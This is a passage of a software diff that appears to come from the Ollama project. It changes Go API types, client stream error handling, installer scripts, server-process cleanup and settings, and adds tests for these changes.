Content: textContent("Describe the image."),
|
||||
},
|
||||
},
|
||||
Thinking: &ThinkingConfig{
|
||||
Type: "adaptive",
|
||||
},
|
||||
OutputConfig: &OutputConfig{
|
||||
Effort: "high",
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if result.Think == nil {
|
||||
t.Fatal("expected think to be set from output_config.effort")
|
||||
}
|
||||
|
||||
if got := result.Think.String(); got != "high" {
|
||||
t.Fatalf("expected think level 'high' for adaptive thinking, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithTools(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "test-model",
|
||||
|
||||
@@ -259,6 +259,10 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
|
||||
}
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -368,6 +372,16 @@ func (c *Client) List(ctx context.Context) (*ListResponse, error) {
|
||||
return &lr, nil
|
||||
}
|
||||
|
||||
// ModelRecommendationsExperimental lists model recommendations from the local
|
||||
// server's experimental recommendations endpoint.
|
||||
func (c *Client) ModelRecommendationsExperimental(ctx context.Context) (*ModelRecommendationsResponse, error) {
|
||||
var resp ModelRecommendationsResponse
|
||||
if err := c.do(ctx, http.MethodGet, "/api/experimental/model-recommendations", nil, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// ListRunning lists running models.
|
||||
func (c *Client) ListRunning(ctx context.Context) (*ProcessResponse, error) {
|
||||
var lr ProcessResponse
|
||||
|
||||
@@ -3,6 +3,7 @@ package api
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
@@ -192,6 +193,35 @@ func TestClientStream(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientStreamReportsReadErrors(t *testing.T) {
|
||||
client := NewClient(
|
||||
&url.URL{Scheme: "http", Host: "example.com"},
|
||||
&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
|
||||
body := failingReader{
|
||||
data: []byte(`{"message":{"content":"partial"}}` + "\n"),
|
||||
err: io.ErrUnexpectedEOF,
|
||||
}
|
||||
|
||||
return &http.Response{
|
||||
StatusCode: http.StatusOK,
|
||||
Status: "200 OK",
|
||||
Body: io.NopCloser(&body),
|
||||
Header: make(http.Header),
|
||||
}, nil
|
||||
})},
|
||||
)
|
||||
|
||||
err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
|
||||
return nil
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected stream read error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
|
||||
t.Fatalf("expected unexpected EOF, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientDo(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
@@ -320,3 +350,23 @@ func TestClientDo(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
type roundTripFunc func(*http.Request) (*http.Response, error)
|
||||
|
||||
func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return f(req)
|
||||
}
|
||||
|
||||
type failingReader struct {
|
||||
data []byte
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *failingReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) > 0 {
|
||||
n := copy(p, r.data)
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
return 0, r.err
|
||||
}
|
||||
+75
-32
@@ -600,12 +600,13 @@ type Options struct {
|
||||
|
||||
// Runner options which must be set when the model is loaded into memory
|
||||
type Runner struct {
|
||||
NumCtx int `json:"num_ctx,omitempty"`
|
||||
NumBatch int `json:"num_batch,omitempty"`
|
||||
NumGPU int `json:"num_gpu,omitempty"`
|
||||
MainGPU int `json:"main_gpu,omitempty"`
|
||||
UseMMap *bool `json:"use_mmap,omitempty"`
|
||||
NumThread int `json:"num_thread,omitempty"`
|
||||
NumCtx int `json:"num_ctx,omitempty"`
|
||||
NumBatch int `json:"num_batch,omitempty"`
|
||||
NumGPU int `json:"num_gpu,omitempty"`
|
||||
MainGPU *int `json:"main_gpu,omitempty"`
|
||||
UseMMap *bool `json:"use_mmap,omitempty"`
|
||||
NumThread int `json:"num_thread,omitempty"`
|
||||
DraftNumPredict int `json:"draft_num_predict,omitempty"`
|
||||
}
|
||||
|
||||
// EmbedRequest is the request passed to [Client.Embed].
|
||||
@@ -672,6 +673,9 @@ type CreateRequest struct {
|
||||
// Quantize is the quantization format for the model; leave blank to not change the quantization level.
|
||||
Quantize string `json:"quantize,omitempty"`
|
||||
|
||||
// DraftQuantize is the quantization format for the draft model.
|
||||
DraftQuantize string `json:"draft_quantize,omitempty"`
|
||||
|
||||
// From is the name of the model or file to use as the source.
|
||||
From string `json:"from,omitempty"`
|
||||
|
||||
@@ -681,6 +685,9 @@ type CreateRequest struct {
|
||||
// Files is a map of files include when creating the model.
|
||||
Files map[string]string `json:"files,omitempty"`
|
||||
|
||||
// DraftFiles is a map of draft model files to include when creating the model.
|
||||
DraftFiles map[string]string `json:"draft_files,omitempty"`
|
||||
|
||||
// Adapters is a map of LoRA adapters to include when creating the model.
|
||||
Adapters map[string]string `json:"adapters,omitempty"`
|
||||
|
||||
@@ -802,6 +809,21 @@ type ListResponse struct {
|
||||
Models []ListModelResponse `json:"models"`
|
||||
}
|
||||
|
||||
// ModelRecommendationsResponse is the response from [Client.ModelRecommendationsExperimental].
|
||||
type ModelRecommendationsResponse struct {
|
||||
Recommendations []ModelRecommendation `json:"recommendations"`
|
||||
}
|
||||
|
||||
// ModelRecommendation is a single recommendation entry in [ModelRecommendationsResponse].
|
||||
type ModelRecommendation struct {
|
||||
Model string `json:"model"`
|
||||
Description string `json:"description"`
|
||||
ContextLength int `json:"context_length,omitempty"`
|
||||
MaxOutputTokens int `json:"max_output_tokens,omitempty"`
|
||||
VRAMBytes int64 `json:"vram_bytes,omitempty"`
|
||||
RequiredPlan string `json:"required_plan,omitempty"`
|
||||
}
|
||||
|
||||
// ProcessResponse is the response from [Client.Process].
|
||||
type ProcessResponse struct {
|
||||
Models []ProcessModelResponse `json:"models"`
|
||||
@@ -809,14 +831,15 @@ type ProcessResponse struct {
|
||||
|
||||
// ListModelResponse is a single model description in [ListResponse].
|
||||
type ListModelResponse struct {
|
||||
Name string `json:"name"`
|
||||
Model string `json:"model"`
|
||||
RemoteModel string `json:"remote_model,omitempty"`
|
||||
RemoteHost string `json:"remote_host,omitempty"`
|
||||
ModifiedAt time.Time `json:"modified_at"`
|
||||
Size int64 `json:"size"`
|
||||
Digest string `json:"digest"`
|
||||
Details ModelDetails `json:"details,omitempty"`
|
||||
Name string `json:"name"`
|
||||
Model string `json:"model"`
|
||||
RemoteModel string `json:"remote_model,omitempty"`
|
||||
RemoteHost string `json:"remote_host,omitempty"`
|
||||
ModifiedAt time.Time `json:"modified_at"`
|
||||
Size int64 `json:"size"`
|
||||
Digest string `json:"digest"`
|
||||
Details ModelDetails `json:"details,omitempty"`
|
||||
Capabilities []model.Capability `json:"capabilities,omitempty"`
|
||||
}
|
||||
|
||||
// ProcessModelResponse is a single model description in [ProcessResponse].
|
||||
@@ -909,6 +932,8 @@ type ModelDetails struct {
|
||||
Families []string `json:"families"`
|
||||
ParameterSize string `json:"parameter_size"`
|
||||
QuantizationLevel string `json:"quantization_level"`
|
||||
ContextLength int `json:"context_length,omitempty"`
|
||||
EmbeddingLength int `json:"embedding_length,omitempty"`
|
||||
}
|
||||
|
||||
// UserResponse provides information about a user.
|
||||
@@ -1031,14 +1056,25 @@ func (opts *Options) FromMap(m map[string]any) error {
|
||||
}
|
||||
field.Set(reflect.ValueOf(slice))
|
||||
case reflect.Pointer:
|
||||
var b bool
|
||||
if field.Type() == reflect.TypeOf(&b) {
|
||||
switch field.Type().Elem().Kind() {
|
||||
case reflect.Bool:
|
||||
val, ok := val.(bool)
|
||||
if !ok {
|
||||
return fmt.Errorf("option %q must be of type boolean", key)
|
||||
}
|
||||
field.Set(reflect.ValueOf(&val))
|
||||
} else {
|
||||
case reflect.Int:
|
||||
var i int
|
||||
switch t := val.(type) {
|
||||
case int64:
|
||||
i = int(t)
|
||||
case float64:
|
||||
i = int(t)
|
||||
default:
|
||||
return fmt.Errorf("option %q must be of type integer", key)
|
||||
}
|
||||
field.Set(reflect.ValueOf(&i))
|
||||
default:
|
||||
return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
|
||||
}
|
||||
default:
|
||||
@@ -1071,16 +1107,17 @@ func DefaultOptions() Options {
|
||||
|
||||
Runner: Runner{
|
||||
// options set when the model is loaded
|
||||
NumCtx: int(envconfig.ContextLength()),
|
||||
NumBatch: 512,
|
||||
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
|
||||
NumThread: 0, // let the runtime decide
|
||||
UseMMap: nil,
|
||||
NumCtx: int(envconfig.ContextLength()),
|
||||
NumBatch: 512,
|
||||
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
|
||||
NumThread: 0, // let the runtime decide
|
||||
DraftNumPredict: 4,
|
||||
UseMMap: nil,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low")
|
||||
// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low", "max")
|
||||
type ThinkValue struct {
|
||||
// Value can be a bool or string
|
||||
Value interface{}
|
||||
@@ -1096,7 +1133,7 @@ func (t *ThinkValue) IsValid() bool {
|
||||
case bool:
|
||||
return true
|
||||
case string:
|
||||
return v == "high" || v == "medium" || v == "low"
|
||||
return v == "high" || v == "medium" || v == "low" || v == "max"
|
||||
default:
|
||||
return false
|
||||
}
|
||||
@@ -1130,8 +1167,8 @@ func (t *ThinkValue) Bool() bool {
|
||||
case bool:
|
||||
return v
|
||||
case string:
|
||||
// Any string value ("high", "medium", "low") means thinking is enabled
|
||||
return v == "high" || v == "medium" || v == "low"
|
||||
// Any string value ("high", "medium", "low", "max") means thinking is enabled
|
||||
return v == "high" || v == "medium" || v == "low" || v == "max"
|
||||
default:
|
||||
return false
|
||||
}
|
||||
@@ -1169,14 +1206,14 @@ func (t *ThinkValue) UnmarshalJSON(data []byte) error {
|
||||
var s string
|
||||
if err := json.Unmarshal(data, &s); err == nil {
|
||||
// Validate string values
|
||||
if s != "high" && s != "medium" && s != "low" {
|
||||
return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", true, or false)", s)
|
||||
if s != "high" && s != "medium" && s != "low" && s != "max" {
|
||||
return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", \"max\", true, or false)", s)
|
||||
}
|
||||
t.Value = s
|
||||
return nil
|
||||
}
|
||||
|
||||
return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", true, or false)")
|
||||
return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", \"max\", true, or false)")
|
||||
}
|
||||
|
||||
// MarshalJSON implements json.Marshaler
|
||||
@@ -1279,14 +1316,20 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
|
||||
// TODO: only string slices are supported right now
|
||||
out[key] = vals
|
||||
case reflect.Pointer:
|
||||
var b bool
|
||||
if field.Type() == reflect.TypeOf(&b) {
|
||||
switch field.Type().Elem().Kind() {
|
||||
case reflect.Bool:
|
||||
boolVal, err := strconv.ParseBool(vals[0])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid bool value %s", vals)
|
||||
}
|
||||
out[key] = &boolVal
|
||||
} else {
|
||||
case reflect.Int:
|
||||
intVal, err := strconv.ParseInt(vals[0], 10, 64)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid int value %s", vals)
|
||||
}
|
||||
out[key] = intVal
|
||||
default:
|
||||
return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
|
||||
}
|
||||
default:
|
||||
|
||||
@@ -20,6 +20,10 @@ func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
|
||||
return props
|
||||
}
|
||||
|
||||
func testIntPtr(v int) *int {
|
||||
return &v
|
||||
}
|
||||
|
||||
// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
|
||||
func testArgs(m map[string]any) ToolCallFunctionArguments {
|
||||
args := NewToolCallFunctionArguments()
|
||||
@@ -168,6 +172,47 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMainGPUParsingFromJSON(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
req string
|
||||
wantGPU *int
|
||||
}{
|
||||
{
|
||||
name: "Undefined",
|
||||
req: `{}`,
|
||||
},
|
||||
{
|
||||
name: "Zero",
|
||||
req: `{ "main_gpu": 0 }`,
|
||||
wantGPU: testIntPtr(0),
|
||||
},
|
||||
{
|
||||
name: "Nonzero",
|
||||
req: `{ "main_gpu": 1 }`,
|
||||
wantGPU: testIntPtr(1),
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
var oMap map[string]any
|
||||
err := json.Unmarshal([]byte(test.req), &oMap)
|
||||
require.NoError(t, err)
|
||||
|
||||
opts := DefaultOptions()
|
||||
err = opts.FromMap(oMap)
|
||||
require.NoError(t, err)
|
||||
|
||||
if test.wantGPU == nil {
|
||||
assert.Nil(t, opts.MainGPU)
|
||||
} else if assert.NotNil(t, opts.MainGPU) {
|
||||
assert.Equal(t, *test.wantGPU, *opts.MainGPU)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestUseMmapFormatParams(t *testing.T) {
|
||||
tr := true
|
||||
fa := false
|
||||
@@ -232,6 +277,12 @@ func TestUseMmapFormatParams(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMainGPUFormatParams(t *testing.T) {
|
||||
resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, int64(0), resp["main_gpu"])
|
||||
}
|
||||
|
||||
func TestMessage_UnmarshalJSON(t *testing.T) {
|
||||
tests := []struct {
|
||||
input string
|
||||
@@ -495,6 +546,11 @@ func TestThinking_UnmarshalJSON(t *testing.T) {
|
||||
input: `{ "think": "low" }`,
|
||||
expectedThinking: &ThinkValue{Value: "low"},
|
||||
},
|
||||
{
|
||||
name: "string_max",
|
||||
input: `{ "think": "max" }`,
|
||||
expectedThinking: &ThinkValue{Value: "max"},
|
||||
},
|
||||
{
|
||||
name: "invalid_string",
|
||||
input: `{ "think": "invalid" }`,
|
||||
|
||||
@@ -157,10 +157,6 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
if u := os.Getenv("OLLAMA_UPDATE_URL"); u != "" {
|
||||
updater.UpdateCheckURLBase = u
|
||||
}
|
||||
|
||||
// Detect if this is a first start after an upgrade, in
|
||||
// which case we need to do some cleanup
|
||||
var skipMove bool
|
||||
|
||||
+10
-50
@@ -14,6 +14,7 @@
|
||||
#define MyAppPublisher "Ollama"
|
||||
#define MyAppURL "https://ollama.com/"
|
||||
#define MyAppExeName "ollama app.exe"
|
||||
#define LlamaServerExeName "llama-server.exe"
|
||||
#define MyIcon ".\assets\app.ico"
|
||||
|
||||
[Setup]
|
||||
@@ -90,9 +91,8 @@ DialogFontSize=12
|
||||
[Files]
|
||||
#if FileExists("..\dist\windows-ollama-app-amd64.exe")
|
||||
Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
|
||||
Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
|
||||
Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
|
||||
Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
#endif
|
||||
|
||||
; For local development, rely on binary compatibility at runtime since we can't cross compile
|
||||
@@ -103,9 +103,11 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
|
||||
#endif
|
||||
|
||||
#if FileExists("..\dist\windows-arm64\ollama.exe")
|
||||
Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
|
||||
Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
|
||||
#endif
|
||||
#if DirExists("..\dist\windows-arm64\lib\ollama")
|
||||
Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
#endif
|
||||
|
||||
Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
|
||||
|
||||
@@ -118,12 +120,6 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
|
||||
Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
|
||||
|
||||
[Run]
|
||||
#if DirExists("..\dist\windows-arm64")
|
||||
Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
|
||||
#endif
|
||||
#if DirExists("..\dist\windows-amd64")
|
||||
Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
|
||||
#endif
|
||||
Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
|
||||
|
||||
[UninstallRun]
|
||||
@@ -131,6 +127,7 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
|
||||
; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
|
||||
; HACK! need to give the server and app enough time to exit
|
||||
; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
|
||||
Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
|
||||
@@ -184,46 +181,6 @@ begin
|
||||
Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
|
||||
end;
|
||||
|
||||
{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
|
||||
const VCRTL_MIN_V1 = 14;
|
||||
const VCRTL_MIN_V2 = 40;
|
||||
const VCRTL_MIN_V3 = 33807;
|
||||
const VCRTL_MIN_V4 = 0;
|
||||
|
||||
// check if the minimum required vc redist is installed (by looking the registry)
|
||||
function vc_redist_needed (): Boolean;
|
||||
var
|
||||
sRegKey: string;
|
||||
v1: Cardinal;
|
||||
v2: Cardinal;
|
||||
v3: Cardinal;
|
||||
v4: Cardinal;
|
||||
begin
|
||||
if (IsArm64()) then begin
|
||||
sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
|
||||
end else begin
|
||||
sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
|
||||
end;
|
||||
if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
|
||||
begin
|
||||
Log ('VC Redist version: ' + IntToStr (v1) +
|
||||
'.' + IntToStr (v2) + '.' + IntToStr (v3) +
|
||||
'.' + IntToStr (v4));
|
||||
{ Version info was found. Return true if later or equal to our
|
||||
minimal required version RTL_MIN_Vx }
|
||||
Result := not (
|
||||
(v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
|
||||
((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
|
||||
((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
|
||||
(v4 >= VCRTL_MIN_V4)))))));
|
||||
end
|
||||
else
|
||||
Result := TRUE;
|
||||
end;
|
||||
|
||||
function GetDirSize(Path: String): Int64;
|
||||
var
|
||||
FindRec: TFindRec;
|
||||
@@ -370,5 +327,8 @@ procedure TaskKill(FileName: String);
|
||||
var
|
||||
ResultCode: Integer;
|
||||
begin
|
||||
Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
if FileName <> '{#LlamaServerExeName}' then begin
|
||||
Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
end;
|
||||
end;
|
||||
@@ -83,6 +83,29 @@ func resolvePath(name string) string {
|
||||
return name
|
||||
}
|
||||
|
||||
func ollamaServeArgs(args []string) bool {
|
||||
if len(args) < 2 {
|
||||
return false
|
||||
}
|
||||
|
||||
switch strings.Trim(filepath.Base(args[0]), `"`) {
|
||||
case "ollama", "ollama.exe":
|
||||
default:
|
||||
return false
|
||||
}
|
||||
|
||||
for _, rawArg := range args[1:] {
|
||||
arg := strings.Trim(rawArg, `"`)
|
||||
if strings.HasPrefix(arg, "-") {
|
||||
continue
|
||||
}
|
||||
|
||||
return arg == "serve" || arg == "start"
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// cleanup checks the pid file for a running ollama process
|
||||
// and shuts it down gracefully if it is running
|
||||
func cleanup() error {
|
||||
|
||||
@@ -205,6 +205,63 @@ func TestServerCmdCloudSettingEnv(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestOllamaServeArgs(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
args []string
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "system ollama serve",
|
||||
args: []string{"ollama", "serve"},
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "relative path ollama serve",
|
||||
args: []string{"./ollama", "serve"},
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "serve after other flags",
|
||||
args: []string{"./ollama", "--verbose", "serve"},
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "start alias",
|
||||
args: []string{"ollama", "start"},
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "launch command",
|
||||
args: []string{"ollama", "launch", "opencode"},
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "run command with model named serve",
|
||||
args: []string{"ollama", "run", "serve"},
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "launch command with serve in passthrough args",
|
||||
args: []string{"ollama", "launch", "codex", "--", "-p", "serve"},
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "different executable",
|
||||
args: []string{"go", "run", "serve"},
|
||||
want: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := ollamaServeArgs(tt.args); got != tt.want {
|
||||
t.Fatalf("ollamaServeArgs(%v) = %v, want %v", tt.args, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetInferenceInfo(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
|
||||
@@ -46,7 +46,17 @@ func terminated(pid int) (bool, error) {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// reapServers kills all ollama processes except our own
|
||||
func ollamaServeProcess(pid int) bool {
|
||||
output, err := exec.Command("ps", "-p", strconv.Itoa(pid), "-o", "args=").Output()
|
||||
if err != nil {
|
||||
slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
|
||||
return false
|
||||
}
|
||||
|
||||
return ollamaServeArgs(strings.Fields(strings.TrimSpace(string(output))))
|
||||
}
|
||||
|
||||
// reapServers kills external ollama serve processes except our own.
|
||||
func reapServers() error {
|
||||
// Get our own PID to avoid killing ourselves
|
||||
currentPID := os.Getpid()
|
||||
@@ -82,6 +92,9 @@ func reapServers() error {
|
||||
if pid == currentPID {
|
||||
continue
|
||||
}
|
||||
if !ollamaServeProcess(pid) {
|
||||
continue
|
||||
}
|
||||
|
||||
proc, err := os.FindProcess(pid)
|
||||
if err != nil {
|
||||
|
||||
@@ -101,7 +101,29 @@ func terminated(pid int) (bool, error) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// reapServers kills all ollama processes except our own
|
||||
func ollamaServeProcess(pid int) bool {
|
||||
cmd := exec.Command("wmic", "process", "where", fmt.Sprintf("ProcessId=%d", pid), "get", "CommandLine", "/value")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
|
||||
return false
|
||||
}
|
||||
|
||||
for _, line := range strings.Split(string(output), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
commandLine, ok := strings.CutPrefix(line, "CommandLine=")
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
return ollamaServeArgs(strings.Fields(strings.ToLower(commandLine)))
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// reapServers kills external ollama serve processes except our own.
|
||||
func reapServers() error {
|
||||
// Get current process ID to avoid killing ourselves
|
||||
currentPID := os.Getpid()
|
||||
@@ -138,8 +160,11 @@ func reapServers() error {
|
||||
if pid == currentPID {
|
||||
continue
|
||||
}
|
||||
if !ollamaServeProcess(pid) {
|
||||
continue
|
||||
}
|
||||
|
||||
cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
|
||||
cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
|
||||
if err := cmd.Run(); err != nil {
|
||||
slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
|
||||
}
|
||||
|
||||
+10
-7
@@ -1201,13 +1201,16 @@ func (db *database) getSettings() (Settings, error) {
|
||||
func (db *database) setSettings(s Settings) error {
|
||||
lastHomeView := strings.ToLower(strings.TrimSpace(s.LastHomeView))
|
||||
validLaunchView := map[string]struct{}{
|
||||
"launch": {},
|
||||
"openclaw": {},
|
||||
"claude": {},
|
||||
"codex": {},
|
||||
"opencode": {},
|
||||
"droid": {},
|
||||
"pi": {},
|
||||
"launch": {},
|
||||
"openclaw": {},
|
||||
"claude": {},
|
||||
"hermes": {},
|
||||
"codex": {},
|
||||
"codex-app": {},
|
||||
"copilot": {},
|
||||
"opencode": {},
|
||||
"droid": {},
|
||||
"pi": {},
|
||||
}
|
||||
if lastHomeView != "chat" {
|
||||
if _, ok := validLaunchView[lastHomeView]; !ok {
|
||||
|
||||
@@ -107,6 +107,36 @@ func TestStore(t *testing.T) {
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("settings disabled home view falls back to launch", func(t *testing.T) {
|
||||
if err := s.SetSettings(Settings{LastHomeView: "claude-desktop"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
loaded, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if loaded.LastHomeView != "launch" {
|
||||
t.Fatalf("expected disabled LastHomeView to fall back to launch, got %q", loaded.LastHomeView)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("settings codex app home view is accepted", func(t *testing.T) {
|
||||
if err := s.SetSettings(Settings{LastHomeView: "codex-app"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
loaded, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if loaded.LastHomeView != "codex-app" {
|
||||
t.Fatalf("expected codex-app LastHomeView to be preserved, got %q", loaded.LastHomeView)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("window size", func(t *testing.T) {
|
||||
if err := s.SetWindowSize(1024, 768); err != nil {
|
||||
t.Fatal(err)
|
||||
|
||||
@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
|
||||
return b.state.Data, pageText, nil
|
||||
}
|
||||
|
||||
if !allowedDirectURL(ctx, url) {
|
||||
